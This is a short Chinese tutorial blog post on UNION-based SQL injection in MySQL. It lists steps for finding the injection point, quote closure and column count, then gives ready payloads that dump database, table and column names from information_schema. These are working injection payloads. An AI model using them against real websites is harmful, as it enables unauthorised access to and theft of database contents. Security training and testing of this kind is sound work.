sql注入之union注入
联合查询注入利用的前提: 必须要有回显
联合查询过程:
- 判断是否存在注入点
- 判断是什么类型注入(字符型or数字型)
- 判断闭合方式
- 查询列数个数(order by)
- 获得数据库名
- 获得表名
- 获得字段名
1. 判断是否存在注入点 可以用(')单引号显示数据库错误信息或者页面回显不同
2. 判断什么类型(字符型or数字型) 用and 1=1和and 1=2 如果页面没有变化说明不是数字型 ,如果有明显变化说明是数字型
3. 判断闭合方式 单引号or双引号..看报错信息、
4. 判断列数个数(order by) order by在mysql中查询结果是按照指定字段进行排序的,例如数据库中有3个字段,order by查询就是1,2,3
5. 查看数据库信息and获得数据库名 使用group_concat() 基本语句: 1' union select 1,(select database()),3--+ 1' union select 1,(select group_concat(schema_name) from information_schema.schemata) --+
6. 获得表名 基本语句: 0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
7. 获得字段名 基本语句: 0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='表名'),3 --+
学而不思则罔,思而不学则殆
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示